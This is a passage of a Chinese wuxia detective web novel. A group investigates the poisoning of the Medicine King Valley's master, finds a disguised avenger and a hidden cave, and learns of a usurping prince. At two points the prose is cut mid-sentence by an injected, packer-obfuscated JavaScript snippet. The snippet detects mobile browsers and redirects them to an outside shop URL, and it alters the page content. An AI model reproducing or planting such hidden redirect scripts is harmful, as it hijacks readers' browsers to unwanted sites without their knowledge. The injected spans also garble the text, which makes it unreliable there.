“那人已经被我们扣下了,稍等我让下属押进谷,你们审问一下,看能不能有什么收获。”何小宝说道。 “咱们和木兰国一向井水不犯河水,而且江湖事江湖了,木兰国有这么有能力的奸细,怎么不去毒九王爷反而来毒一个药王谷的谷主呢?”张一剑也立刻提出质疑。 “看来查出这个下毒人的身份很重要。”大神探若有所思,“你们查到什么了吗?” “有个情报是刚刚谷里人递上来的。”晨将羊皮卷递给几人,“药房的药童和书房的婢女同时失踪,还有我父亲大量已公开的药方手稿,不知道它们之间是否有关系。” “药童,十七岁,十五年前家乡洪灾,由药房不重要的老药师收养并在谷内抚养长大。” “婢女,二十七岁,十七年前父母病故,由谷内不重要的嬷嬷收养并在谷内抚养长大。” “看上去都是你们家从小培养的心腹。” “对。”晨药师苦笑,“不管是谁,药王谷确实这十几年都一直处在危险之中,从未安全过。” 而他却能安全单纯地长大,平安地活到现在。 这怎么不让人觉得心痛呢? 3. 第三章:书接上回 “那咱们事不宜迟,先去看看现场吧。” 大神探一句话,众人跟着晨药师走在了上山的路上。 药王谷虽然叫“谷”但只是入口在山谷里,进入山谷之后是一片巨大的湖泊,一座木桥通往湖泊的中央,那就是刚才大神探一行人在的会客殿,一般客人来到谷中,都会由小厮引来这里。 从天上俯视整个药王谷,湖泊被群山包裹在山谷内,正南方为入口,西北方向是疗养区,为了方便给来求医问诊的病人治病,药庐和药房都在西北方;东北方向是谷内人员的生活区。 两边的房屋均是从山脚建到山顶。由于药王谷是环抱的形状,为了方便两边人行动,魏谷主便让人从东北和西北两座山中间修了滑索,若住在山中间的人想要更快到达另一侧,除了下山再上山这种常规道路外,还可以通过滑索行动。 正南面的山上则是药材的种植区,山南面是大量的草药,山的背面是森林。 “怪不得你们药王谷都是瘦子,感情是从小爬山爬出来的。”大神探爬到药房的时候,已经气喘吁吁。 “我们药王谷的人从小就要上山辨别各种草药,这种小坡对我们来说早就是家常便饭。”晨药师指了指旁边,“对了,忘了告诉你们,其实药王谷也有升降梯可以用。” “也是哦。”蓉小乞点点头,“要不然你们这些房子都在山上,那些行动不便的病人也不好天天上上下下的。” “不用,哥们儿有的是体力!”大神探挥舞着自己的铁砂掌——刚才最后50米被他撑着台阶,像大猩猩一样往上爬来着,现在铁拳头的关节处还有被砂石磨损的轻微痕迹…… “药王谷的药房共有二十七间,根据不同的药存放不同的草药。”他们在晨药师的带领下走进门口编号是“十一”的药房,药房已经被封条封了起来,他们进去之前,还要门口的守卫先解开了封条,并让晨药师本人签字画押之后,才解开封条放他们进来。 药房大约十二尺长,九尺宽,靠窗是一排晒药材的架子,其余都是放置药材的抽屉柜子。 另外墙边还有一张桌子和一个软榻,是给当值的药童休息用的。 “这是那名药童当值的药房,他日常的工作就是将新送来的药材按照药性晾晒、研磨、切片,再分类储存,另外在药庐过来取药的时候登记药方、配药。”晨药师从桌上拿起一本登记册,“这是他这个月的工作记录,内容没有什么问题,而且我和他之前做的对记录过,笔迹没有变化。” “他在你们谷里这么多年,你应该和他熟才对吧?”大神探疑惑道。 “他很小就被他爹送到山海派去学武了,山海派本身就有给弟子提供住宿,他其实每年也只在清明除夕回去几天。”张一剑开口说道。 两人是同学,虽然自小互相看不顺眼,但武林大会之后这一年里,两人的关系似乎缓和了许多。 “是这样的。”晨点点头,“我只是见过他几次,知道他的名字叫胡小好。”他环视一周,说道,“除了生活区,药房和药庐自从我父亲被害以后就已经被都封了起来,这些房间内的陈设也他们也仔细搜查过,没有什么异样,如果下毒的是他,那个毒一定是被他随身携带。” “晨,你看这个——这是他随身的东西吗?”何小宝看着药柜上挂着的一个红色的绳结流苏,问。 晨药师走过去,仔细观察了一下这个绳结:“这倒不是谷里集中采购过的流苏样式,不过谷里允许药童自己装饰自己的药房,这可能是胡小好留下的东西。”晨抬头看何,“你见过这种流苏?” 何小宝犹豫了一下,还是摇了摇头:“只是随口一问。” 饶是如此,晨药师还是把那枚流苏摘了下来,出门的时候递给了门口的守卫:“去查查谷内还有没有一样的装饰,有的话都记录一下,如果没有,就查一下这个的来历。” 第二站是书房。 书房在对面的山上,按照直线距离,走铁索是最快的。 铁索是两根,默认北边去,南边回。 几人都没有恐高,一个个顺利地顺着溜了过去,就是大神探途中遇到了点儿小问题,他非要用自己的铁砂掌去抓着上面的链条,结果擦起火星,差点烧到他自己的头发。 “母亲发现父亲遇害是在早上七点四十在书房里,验尸结果也表明父亲是在早上六点十分毒发的。现场发现了那个药引子,是直接泡在了茶杯的水里,证明那人一定是去过书房。药王谷是每天早上八点半换班,换班前索道几乎没有什么人,要是胡小好趁六点或者更早时候,索道无人使用,自己通过索道过来再回去……” “刚才我估算了一下,从咱们出药房,上索道到走到书房门口,一共用了十三分钟,但如果用小炮+索道,快的话路程上控制在十分钟之内也没问题。”何小宝开口道。 “但他要保证这路上不遇到任何一个人,还挺有难度。”蓉小乞说。 “旁边那个小房间是什么?”大侦探突然指着院子里的另一个小房间问。 “是一些谷内的字画档案。”晨药师打开门,里面一股淡淡的霉味。 “少谷主。”下属突然带人出现在门口,看到晨药师他们要进去,也愣了一下。 “怎么,你们要找东西?”晨药师问。 “回少谷主,我们正好查到这里。”下属说道,“三个月前画师曾经给所有谷内的人员都画了新的肖像画,就存放在这里,我们想过来查一下,看没有什么线索。” 晨药师后退一步,侧身将门口让给他们:“你们去找找,找到拿出来给我看看。” 档案房归类摆放都很整齐,下属很快便找到了两人的画像,拿过来递给晨药师。 何小宝也接过了其中一个。 先打开的是何小宝手中婢女的画像,画卷缓缓展开,画上的女子穿着药王谷统一的绿白色衣服,线条流畅的鹅蛋脸,头发微曲,侧面站着,露出四分之三张脸。 “小哥儿,你认识她吗?”蓉小乞干脆问那个下属。 “我认识。” 下属还没来得及开口,晨盯着那张画像,突然抬眼看向张一剑他们,纳闷道,“你们都没认出来吗,她就是鸥拂尘——云烟啊!” 听晨药师这么说,在场其他三个男人都一愣。 “这哪里是啊?” “一点儿都不一样。” “没听说恋爱脑会影响视力啊?” 三个男人七嘴八舌。 只有蓉认真地研究了一下这幅画像,抱着手臂开口:“虽然我和婆婆相处的时间并不长,但画像里这个人的动作和神态,确实让我有种熟悉的感觉。” “我很确定,就是她。”晨药师抓着画像,死死盯着画里人的脸。 “确实。”大神探突然转头对几人说,“你们还记得他之前又一幅没画脸的画吗,他说画的那是鸥,他没脸的都能愣是看一年,何况这有脸的呢。” “没错。” “有道理。” 何小宝和张一剑也立刻接受了这个解释。 “相比于我们来说,云烟她更多是和我们的父辈有恩怨纠缠,武林大会之后她就放弃了原本利用你报仇的计划,解除了你的寄虫,然后自己亲自来药王谷潜伏,并且伺机杀了你的父亲。” 何小宝分析道。 不过他立刻就摇头否定了这个想法,“不对,你父亲身上是慢性毒药,这个毒在他身上持续了十几年的时间,如果云烟一开始就知道你父亲中了慢性毒,她就没必要再用寄虫控制你去杀魏谷主了。” “或许——”张一剑提出一个猜测,“或许这个药引就是她送进来的呢?” “你的意思是她并不知道这个毒药的事,但有人让她把这个药引送进谷?”蓉小乞思考片刻,“可是刚才晨说,这画像是三个月之前画的,可是魏谷主是三天前被害,那药童为什么不在拿到药引之后就立刻动手呢?毕竟魏谷主已经中毒十几年,他没必要再等三个月吧。” 几人你一言我一语,总觉得“送药引”这个动作不管从哪个方面分析都有点走不通。 “目前的已知信息太少,我看咱们还是先进书房看——”张一剑扭头想跟晨药师说话,却看他还保持着和刚才一样的姿势,双手抓着画轴,眼神盯着手里那幅画。 方才几人一直在讨论案情的时候,他就一直默不作声,现在更是中邪了似的,就知道看那幅画,连眼睛都不眨。 “你看他那没出息的样儿!”大神探可嫌弃死了。 “嘿!” 张一剑一巴掌拍在他脸上,“bia”一声脆响。 晨药师摸摸脸,终于回过神来。 “要不先去她房间看看吧。”他把画像小心地卷好,收到自己袖袋里。 “行,先去哪儿都行,死了爹算啥啊,咱不就是遛弯儿吗——哎哟!”听着大神探嘴里开始跑火车,蓉小乞赶紧掐了他腰一把,让他收敛点儿。 “虽然魏谷主不是什么好人,但好歹也是人家的爹,你差不多行了啊。”她咬着牙用只有两个人的音量说道。 于是几人临时改变行程,朝生活区走过去,一路上没什么人,何小宝还有些纳闷。 “谷里目前闭门谢客,除了护卫和死士,其他人暂时都让他们呆在自己的房间配合调查,暂时不要离开自己的院子。” 侍女的名字里也有一个“云”字,叫小云,被嬷嬷收养之后,两个人一直住在一起。 晨药师一行人到的时候,小院子里只有一位老人坐在藤编的摇椅上,闭着眼休息。 几人在院子里转了一圈。 大门口是吃了一半的饭盒,绳子上晾着的衣服应该是几天没收了,领口还有叶子落进去。老人不知道是睡着了还是怎么的,一直闭着眼睛。 “不会是——”蓉小乞大着胆子上前伸手探了一下老人的碧溪——老人突然睁开了眼睛。 “啊!” 吓得蓉小乞跳了起来。 “你们……”她的眼神有些茫然,“你们是睡。抱歉,老朽现在年纪大了,记性很差。” “婆婆,你认识我吗?”晨药师主动上前,蹲在藤椅边,睁大眼睛看着老人。 老人指了指他身上的药材装饰:“你是少谷主。”婆婆微微笑着说,“我记得你这身衣服。”随后,老人就停下了身下的摇椅,微微起身,双手撑着扶手,想要坐起来。 她朝一旁的蓉小乞伸了伸手,蓉小乞立刻凑上前,犹豫了一下,但还是伸手扶住了她的手臂,张一剑也上来搭了把手,两人一起扶着老人坐了起来。 摇椅下面也卡了一块石头,将椅子固定住,以防老人一个不小心翻过去。 “你来这儿,是要找那个女孩是吧。”婆婆挥了挥手,“她走了。” 众人互相对视一眼,晨药师眉头一皱:“婆婆,她去哪了?” “她说她要好好练功,去参加明年的……什么大会!她还说什么‘没想到他这次竟然没在谷中,真是便宜他了’……之类的话。”婆婆缓缓说道。 “婆婆您这哪是年纪大了记性差,您这就是一摄像机啊。”大神探冲婆婆比了个大拇指。 “不是。”张一剑摇了摇头,“婆婆说的是一年前的事。就是晨药师把云烟救回谷里,但云烟第三天就走了。”他说道,“应该是云烟发现魏谷主当时并不在谷内,所以才离开的。” “确实很符合老人的记忆特征。”何小宝点点头,“老人都是过去的事儿记得很清楚,但最近几天的却不行。” “婆婆,你从小带到大的那个小云,她去哪了你知道吗?”蓉小乞问道。 “小云……”婆婆又思考了一会儿,“小云她,她好像已经很久没有回来了……” “这不可能。”晨眉头一皱,“小云在书房工作,她如果失踪几天,一定会很快有人注意到。” “也可能是她出于某种原因,并没有回这里呢?”蓉小乞猜测。 几人一时也没有其他头绪,在两人的房间里搜寻了一圈,也没找到什么有价值的证据。天色渐渐暗了下来,几人从房间里出来的时候,就看到婆婆正拄着拐杖道门口去拿配送的晚饭。 蓉三步并作两步上前,把婆婆拿到盒饭,并且弯腰在她耳边用所有人都能听得见的音量说道:“婆婆,你一个人吃饭太孤单了,要不我陪你一起吧。” 说完就对晨药师说,自己要多在这儿留一会儿,等喂完婆婆饭,她再去找他们。 晨点头答应。 几人走后,院子里的蓉也收起了笑容,乘着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437195|141479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭菜碗也直接搁在了地上。 “他们都走了。”蓉抱着手臂,居高临下地看着眼前这位干巴巴的瘦老太太,“王婆婆,你这也太大胆了。” 别人不知道,可是她这副扮相,蓉看了好几年,闭着眼听她摇椅子的声音都能认出来。 “到底是不是你做的。”蓉小乞开门见山。 她不能在这里逗留很久,否则会引起其他人的怀疑。 鸥拂尘还是感受老太太的模样,可是眼神却慢慢凝聚,落在眼前的女孩身上。 “一年没见,你比以前更自信、更开朗了。”鸥缓缓开口,“还是有家人好,在外面闯荡累了,回去也总有人能说说话。”她摇着摇椅,看着天上的云彩,“自从七毒教被灭了之后,我的心里只有复仇,我所做的一切也都是为了报仇。现在我的仇人都死了,我才终于可以喘口气,抬头看看天。” 她收起嘴角的笑容,对蓉小乞说,“虽然我把寄虫从晨的身上撤出来了,但不代表我不会报全岛人的仇,我来这里确实是为了杀魏谷主,只不过可惜,并不是我动的手。” “和你假扮的那个婢女也无关?”蓉小乞问。 “这我就不知道了。”鸥说道,“三个月前我到了药王谷周围,原本想要等待机会像当年一样,诱骗一个谷内的人带我入谷,没想到让我看到她从山上摔了下来。她当场断了气,我就易容成她的模样进谷,想要找机会接近魏并杀了他。” 鸥拂尘将自己这几个月的经历娓娓道来:“只可惜魏当时并不在谷中,我就顺势留了下来。” “等等。”蓉打断了她,“三个月都没有人发现这个原身的尸体吗?” “我把她的尸体埋在了附近。”鸥拂尘说道,“我潜入的路线精心挑选过,那里地势险要,周围没有草药,我选那里作为我每天休息的点位,从来没有遇到任何一个谷里人,除了她。” 见蓉小乞若有所思,她说道:“这里比我当年来的时候变了许多,我花费了一些时间才重新摸清了这里的路线,并且察觉了有人在长年累月地给魏下毒。” “那个人是谁?”蓉小乞迫不及待地追问。 鸥挑挑眉:“他替我杀了我的仇人,我为什么要告诉你们他的身份?” 她身下的摇椅停止摇晃,人也突然一颤,随后在蓉小乞的注视下,鸥拂尘的手脚一点点伸长,佝偻的脖颈舒展开来,树皮一样布满褶皱粗糙的脸慢慢被白皙光滑的皮肤取代,那个蓉小乞陌生的鸥拂尘,又重新出现在了她面前。 “你,你到底修炼的是什么功夫?” 蓉小乞瞪大了眼睛。虽然她早就知道云烟的易容术出神入化,可将这种变化真正在她面前表现出来的时候,又忍不住像第一次看见杂耍的孩子一样,露出惊愕的神情。 “这是我们七毒教的秘法,不过我想你不会想学的。”她突然捂住心口,剧烈地咳嗽几声,随后有鲜血从她嘴角缓缓流下。 “你……”蓉小乞的手攥紧,最终还是没有伸出来,只是站在原地看着她,眼神复杂,“这种毒功还是少练吧,别人看见你这个样子也害怕。” “谢谢,难为你被我利用了这么多年,竟然还愿意劝我几句。”鸥没有管嘴角的血迹,垂眸道,“活了102年,如今亲人仇人都不在了,好像也确实没有什么理由——” “婆婆,你在吗,我们有事要问你。” 门口突然传来说话声,蓉下意识挡在鸥身前,转头看向门口——是在野店见过的那位晨药师的心腹,他带人走了进来。 看到蓉,他先是愣了一下,随后他身后的人指着蓉的身后,露出惊讶的表情:“您看——” 蓉小乞还以为她们是看到了吐血的鸥,手忙脚乱地想要解释:“等等,她不是——” “婆婆!”几人围了上来。 蓉小乞一愣,转头一看—— 哪还有什么吐血的鸥拂尘,那躺椅上,分明就是一个干瘦的老人躺在那里。老人双眼紧闭,嘴角发紫,发丝干枯。 俨然已经去世了。 “她不是,我——” “我知道不是您。”蓉小乞还未说完,就被正在检查的下属打断,“婆婆已经死去两天了。” “贵客,抱歉。”下属严肃地说道,“这里暂时不能让任何人进入,请您先去和少谷主汇合,也请您不要出谷,等一下我们可能还要向您了解情况。” 走出小云住处的时候,蓉小乞还是有点懵懵的。 “陪‘婆婆’吃完饭了?” 张一剑的声音突然从身侧传来。 蓉一扭头,看见张一剑、大神探和何小宝都站在那里,好整以暇地看着她。 “婆婆,你一个人太孤单了,要不我陪你吃饭吧~”大神探扭着腰掐着嗓子模仿蓉。 “我哪有你这么做作!”蓉上前一步,挥了挥拳头。 “你们说完话了?”张一剑问。 也是,这么蹩脚的理由,怎么可能瞒得过这些人精。 他们借口出去,不过就是给蓉和鸥留点说话的时间罢了,毕竟其他人里想和鸥说话的人也不多,除了—— 蓉小乞目光一扫,突然发现少了个人。 “晨药师呢?” 话音刚落,就听见有人气喘吁吁地一路小跑过来。 “我回来了!”他一抬头,周围人都愣了,“云烟呢,还在院子里吗?” 见没人理他,他抬脚就想往院子里走,被张一剑伸手拦住。 “你干什么呢?”张一剑指着他的脸,“这什么啊?”他又扯扯晨的袖子,“这又是什么?” “这些吗?”晨摸摸自己脸上突然出现的胡须,“我爹年轻的时候就喜欢留胡须,我问我娘了,他遇见云烟那年就长这样。”他一抬手,“这也是我爹画像里的衣服,绿色的。” 他激动地看着门里面:“云烟肯定是喜欢这个类型的人,我这样进去见她,她说不定愿意和我说几句话——” 张一剑皱着眉头直接甩开手:“你真有病。” 大神探和何小宝对视一眼,一脸无奈。 蓉深吸一口气,上前一步挡在他面前:“你不用进去了,她已经走了。” 晨药师闻言,脸上的笑容瞬间僵住,仿佛被一盆冷水直接迎头泼下来。 4. 第四章:书接上回 晨药师大步流星地冲进院子,出来的时候倒是还算平心静气。 就是抬手撕胡须的时候,把自己个儿的下巴都扯红了。 “真没出息,也没脑子。”张一剑说话毫不留情,“你爹杀了她们全岛的人,她对你爹只有恨。看到你穿你爹的衣服她只会更恨。” 晨药师愣了一下,半晌抬起手,拍了拍张一剑的肩膀:“你说得对。”然后转过头看向蓉,“她说什么了?” 张一剑一巴掌把晨药师搭在自己肩膀上的手拂了下去,扶着额头:“没救了没救了……” 蓉小乞眨眨眼:“她就是说,谷主不是她杀的。” “不可能就这么一句吧。”晨微微皱眉,“你俩在里面说了那么久呢。我来回换个衣服贴胡子,回来的时候你才刚出来。” “有些和案子没什么关系的,我就不说了。”蓉说到,“有一件事,她提到她之所以假扮小云,是因为她三个月前在谷外徘徊的时候,看到了小云从山上‘摔下来’,当时小云已经断气了。” “摔下来?”何小宝问。 蓉回想了一下,笃定地说:“我很确定她说的是摔。可能她只看到了小云掉下来的过程,不能确定她是自杀还是被人推下山。另外她还说,她在谷中潜伏的这段时间,察觉到了有人在持续对你父亲下毒。” “可是当时我父亲外出办事,已经一年没回谷了。”晨药师纳闷,“既然是长期慢性毒药,下毒的人必然在他身边,此时鸥在谷内,怎么会知道是谁给他下的毒呢?” “你父亲当时去哪了,办的什么事?”张一剑立刻问。 晨摇摇头:“甄武林死后,他就独自一人出谷了。我问过母亲,她知道父亲做的一些事需要避讳身边人,便没有追问他办的什么事,见的什么人,只知道他是独自一人,没有带任何随从。” “那就奇怪了。”蓉小乞若有所思。 “还有一件事也很奇怪。”晨突然想起之前下属和他汇报过的一件事,“父亲的书房里丢失了大量这些年他撰写的医书的手稿,可我刚才在小云的院子里找过,也没有发现,我相信这些是云烟在假扮小云期间偷走的,可她拿走这些又有什么用呢?” 几人在门口各自陷入沉思。 “小祈,这是什么?”何小宝突然指指蓉小乞随身的布袋子。 “是我的包啊,怎么了……”她一拽包的带子,突然一条棕色的东西掉在了地上。 “刚才这个就挂在你带子下面的穗穗上。”何小宝弯腰捡起来,递给蓉小乞。 “这不是我的东西。”蓉小乞突然想到什么,立刻低头麻利拆开手上的一指宽的羊皮卷, 展开里面是一幅地图。 “这不是我们药王谷的地图吗?” 晨药师拿过来,仔仔细细上下看了一遍。 这张羊皮展开也不过巴掌大,上面用极细的线条勾勒出药王谷的山山水水,其中不同草药种植的区域都被用不同颜色细致地标注了出来。 看着这张地图,蓉小乞开口道:“婆婆刚才和我说过,她三个月前来到药王谷,是躲在了一处周围没有草药,也几乎没有谷里人去的地方。” “谷内有这个地方吗?”晨纳闷。 “哎,是不是这儿?”大神探指着两座山之间的一条红线,问。 晨眉头紧皱:“这里是天堑,两边都是笔直的悬崖,中间是深不见底的裂谷,应该不会是你这儿吧?” “那这里出去是哪里?”大神探问,“就是这两座山背面。鸥从外面来,肯定不可能一进来就到这个沟里,她肯定是在外围找的这么一个地方。” 晨思索片刻,突然眼前一亮:“我知道了。” ———— 晨药师带着众人来到图上的天堑附近。 “这里是天险,换言之也是我们唯一没有安排守卫的地方。”晨说道,“如果这附近有通道可以进谷,那确实可以做到神不知鬼不觉。” “我下去看看。”蓉掏出随身的绳索,在大树上固定,低头望了一眼深不见底的裂谷。 “还是我下去吧。”何小宝连忙按住她的手,说着就要准备脱外袍。 “你那半吊子招式,强身健体还行,快算了吧。”大神探连忙把他拉回来。 “放心吧,我可是一支竹,这里我下去最合适。”蓉试了试绳索的强度,冲这种人一抬下巴,自信说道。 “小心啊。”晨嘱咐了一句。 众人看着蓉吊着绳索,一点一点下降,很快因为裂隙背光阴暗的缘故,蓉的身影很快消失在了裂缝中,只有抖动着的绳索,能证明下面的人还活着。 何小宝在上面急得不行,几乎是隔几米就问一句喊一句蓉的名字。 等蓉上来的时候,这山上站着的何小宝看上去比她还累,脸都白了,衣服被冷汗浸湿,还拉着蓉的袖子不撒手,检查她有没有哪里受伤。 “我没事。”蓉小乞大咧咧地脱下绳索——这对于早年间经常在各大门派穿梭偷武林秘籍的她来说确实是家常便饭,只是下面太昏暗,有些影响视线。 “大约60米左右的位置有个平台,平台和山是一体的,很结实,平台上有一些植物,植物后面似乎有个山洞,我随身没带火折子,看得不太清楚。”蓉对晨说,“最好叫你们属下多来点人,带着油灯和火把下去。” 她伸出手,手里赫然是一张纸的碎片,“另外我在洞口的藤蔓里发现了这个,你看看是不是你爹的笔迹?” 晨接过来,仔细看了几遍:“像,但应该不是。我父亲身上没有功夫,字虽然写得还行,但不够有力,这个字明显是练武之人写的,运笔和顿笔都很有力道。” “先去那个山洞看看吧。”张一剑从胸口掏出信号哨,仰头一吹。 很快,几个苍鹰派的弟子出现在山头,张给他们嘱咐了几句,几人便领了命,没过多久,就带着药王谷的下属一行七八个人出现在来晨他们现在的位置。 他们带了绳索、大铁钉、开山锤和其他的一些材料,“叮叮当当”上上下下忙活了一会儿,就暂时开出了一条简易的通道。 张一剑将何小宝和他用绳索连着腰部,以防他下山的时候不小心踩空,蓉小乞和张一剑、大神探都游绳到了平台,晨和何小宝则是以山壁上的铁钉为辅助,小心地跟着下到平台上。 这里是山上突出来的一块儿,抬头向上看,只能看到两山之间挤成一条线的天空。 平台面积倒是不小,充满了乱七八糟的植物。 蓉扒拉了一下靠近绳索的藤蔓:“纸片刚才就是从这里发现的。”扒拉了两下,就出现一个黑漆漆的洞口,“大家过来看!” 洞口有两人宽,差不多一人高,里面漆黑一片,谁也不知道里面有什么。 “我……”蓉小乞又想一马当先,可她有点怕黑,刚迈出去的脚在半空中晃了晃,又收了回来。 张一剑挠挠头:“我也不太敢走这种地方……” 一旁的大神探连忙拉着他;“没事儿咱俩走后头。” “那我走前面吧。”何小宝点燃了煤油灯,又把火把插在墙壁上的凹槽里,平台上瞬间亮堂了很多。 “我走前面,蓉在我后面,然后是张、大、晨,这个顺序可以吗?” “可以。”晨表示自己没问题。 “好,那咱们出发,看看这个洞里到底有什么猫腻。” 在何小宝的带领下,众人慢慢朝山洞的深处走去。 “啧,这洞够深够长的。” 走了十几米还没到头,众人也没一开始那么害怕了,大神探用手里的煤油灯照照四周,忍不住感叹,“这洞别一会儿挖你们谷藏秘籍的地方去嘿。” “我们谷里没什么秘籍,医书和药方就是那些,全是对外公开的,至于疗效,那凭的都是大夫个人的研究和经验。”晨药师边走边解释道。 “那我可得好好研究研究,说不定这墙壁上有武林秘籍。”大神探提着煤油灯,边走边仔细观察着墙壁。 “到头了!” 前面的何小宝喊了一声,众人又一起向前走几步,终于走出了通道,走进一处不大不小的山洞中。 山洞大约七步长,四步宽,洞里有一张窄窄的石床,上面堆满稻草,一张石桌和一个石凳,石桌上还有一个烛台,里面的蜡烛早已燃尽。 张一剑摸了摸桌面:“这上面只有一层很薄的尘土,应该是有人住在这里,且住在这里的人离开不超过十日。” 晨药师突然抬眼:“我爹就是七天前回的谷。” “你爹在这儿练神功呢。”大神探提着煤油灯四处转了一圈,“可是这墙上什么也没有啊。”他一低头,瞄到床上那坨突兀的稻草,抬手招呼张一剑过来。 “干啥。” 大神探从张一剑腰间抽出剑,插进稻草里,几下就把它们全都扒拉到地上。 “哇哦。” 大神探看清稻草下面石床上露出来的东西之后,忍不住“哇”了一声。 张一剑剑被弄脏了,刚抢回来,又被大神探夸张的叫声吸引,低头看了一眼,忍不住也跟着“哇”了一声。 大家纷纷凑了过来。 “咱爹应该……没有那个爱好吧。”大神探忍不住问。 “据我所知……”晨药师一顿,摇摇头,“算了,我什么都不知道。” 床上赫然是一副手铐和脚镣,脚镣的下方连着一条铁链,何小宝拎起脚镣试了试,铁链的长度正好能穿过通道到达洞口。 “看样子,像是有人囚禁了你父亲。”蓉小乞说道。 “可我母亲没有提过这件事。”晨仔细回想和母亲那天的对话,“我记得我还问过她,父亲回来的那天有什么异常,她还说很正常。”他大脑飞快地闪过这几天的画面,“在给父亲验尸的时候我也没发现什么不对劲,他身上没有伤痕,除了比平时瘦了一点——他在外办事免不了风餐露宿,瘦一点也很正常,我当时就没当回事。” “等等,现在不一定是魏谷主被囚禁在这里吧。”大神探打断了他们,“只是说这里有可以囚禁人的工具而已。” “伙伴们,外面有发现!” 洞口传来何小宝的声音。 众人走出洞口,又被吓了一跳。 地上赫然多了一个坑,里面是一具还带着腐臭味的白骨。 白骨上还有着一些破衣服和血迹。 “这是药王谷的衣服。”蓉小乞一眼就认了出来,“今天我们看到好多人都穿的这个。” 大神探又想去摸张一剑的剑,被他一抬手拍了下来。他只能从旁边的灌木丛里扒拉了一根长一点的树枝子,将尸骨旁边的土扒拉下去。 “肋骨骨折,盆骨碎裂,全身上下都有不同程度的骨折、骨裂。”晨药师粗略地检查了一番,“这应该就是小云。” “也就是说这里应该是鸥踩点暂住的地方。” “所以真的是她囚禁了你爹!”大神探捂住嘴,“哦买噶她不杀你爹报仇吗?竟然还把他放回去了……” 晨药师攥紧拳头:“我说了,我爹只是出去办事,他不一定是被囚禁……” “天呐,她囚禁他,却又不杀他,只是日日夜夜折磨他。”张一剑也跟上了大神探的节奏。 “你们别说了……”晨药师咬牙切齿。 “话说回来,魏谷主为什么不在这里留下囚禁他的人是谁呢?”何小宝看了一圈,“这里到处都是树枝。” “天呐。”蓉小乞捂住嘴,“不会是被囚禁久了,两个人相爱相杀之间,反而生出了——” “你们胡说八道!” 晨药师再也听不下去了,忍不住怒吼一声。 众人:“……” “我觉得刚才你的猜想很有道理。” “有些人也不用羡慕嫉妒,毕竟那可是初恋啊初恋。” “现在初恋还死了,成了白月光了,永远忘不了了怎么办啊。” “你说鸥把魏谷主囚禁在这里一年他们都发生了什么啊,总不能就面对面唠嗑吧?” “对了……” 晨药师在一边听着都快碎了。 “扑棱扑棱。”远处传来翅膀拍打的声音。 何小宝抬头一看,正是他们野店的鸽子,他连忙吹了声口哨,还晃了晃手里的煤油灯。 有了定位,鸽子勇敢向下冲了下来,将一个羊皮卷送到了他的手里。 “乖孩子,回去吧。”何小宝排排鸽子,低头展开羊皮卷。 看到羊皮卷的内容,他的脸色瞬间沉了下来。 “怎么了?”蓉小乞问。 何小宝捏紧了羊皮卷,眼神在煤油灯忽闪的亮光下更加晦暗不明:“皇帝驾崩,太子暴毙,我父亲……九王爷登基了。” 众人面面相觑,晨药师也从愤怒中逐渐冷静下来。 何小宝长叹了一口气:“一直知道他有这个想法,没想到这一天来得这么快。”他看向张一剑,“恐怕我们也要开始行动了。” “什么行动?”蓉小乞和大神探一脸茫然。 “我明白了,我这就去通知他们。” “这一年谷里也做了些准备,我这就召集谷内众人做好准备。” “要快,恐怕他们现在已经在路上了。”何小宝估算了一下鸽子的行程和时间,眉头紧蹙,“依我对父亲的了解,他从不打无准备之仗,恐怕从我离开野店那天,他就计划开始行动了,三天,两天……”他望向众人,“他们最快可能明天就到了!” “你父亲去世,江湖上有头有脸的门派都会来,而且基本都是掌门亲自前来。”张一剑飞快地分析道,“药王谷易守难攻,可如果是千军万马保卫,恐怕——”他倒吸一口凉气,“九王爷,这是想把我们一网打尽。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437196|141479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小祈。”何小宝抓住蓉小乞的肩膀,“这里你的功夫最好,这个任务只有你能做。”他把晨药师的打猫棒递给她,“拿着这个去找丐帮郝长老,他知道该怎么做!” “可是,我……”蓉小乞有些犹豫,“我没见过郝长老,郝长老也不一定认识打猫棒,凭这个行吗?” “你一定行!”他定定地盯着她,“你可是丐帮少侠蓉小祈。” 虽然还是不知道发生了什么,蓉小乞还是郑重其事地点头:“好,我一定办到。事不宜迟,我就先走一步。” 她的目光在所有人脸上扫过一圈:“大家保重。” 说完就顺着绳索快速爬了上去,很快消失在大家的视线中。 今夜无人入眠。 京城的急报一封封传来,全都是九王爷——不,现在应该称“陛下”的最新动向。 “如何?” 看着何小宝的脸色越来越沉,几人在大厅里坐着也不安稳。 晨药师从外面布置完一切,匆匆走进门,一进门就看见何小宝拿着最新的飞鸽传书深吸一口气。 众人凑上来一看,上面只有四个大字。 御驾亲征。 “杀人诛心。”张一剑忍不住感叹,“自古无情是帝王,没想到九王爷最终也还是走到了这一步。” “他在江湖上的势力太大了,先皇和太子一直忌惮他,就像他如今忌惮我一样。他能做到弑父灭兄,就是下定决心要走稳这一步,那么我这个在外闲散的儿子,自然也是他要‘除掉’的对象。” 何小宝的笑容有些苦涩,“从小到大,我一直是他最听话的孩子,他让我结交江湖人士,我就放弃读书出去开了野店,成为了宫里最神出鬼没的皇子,他一个指令过来,我就遵从,只希望得到他一句夸奖。” 没有觊觎过皇位,也不想成为他操纵武林的傀儡。 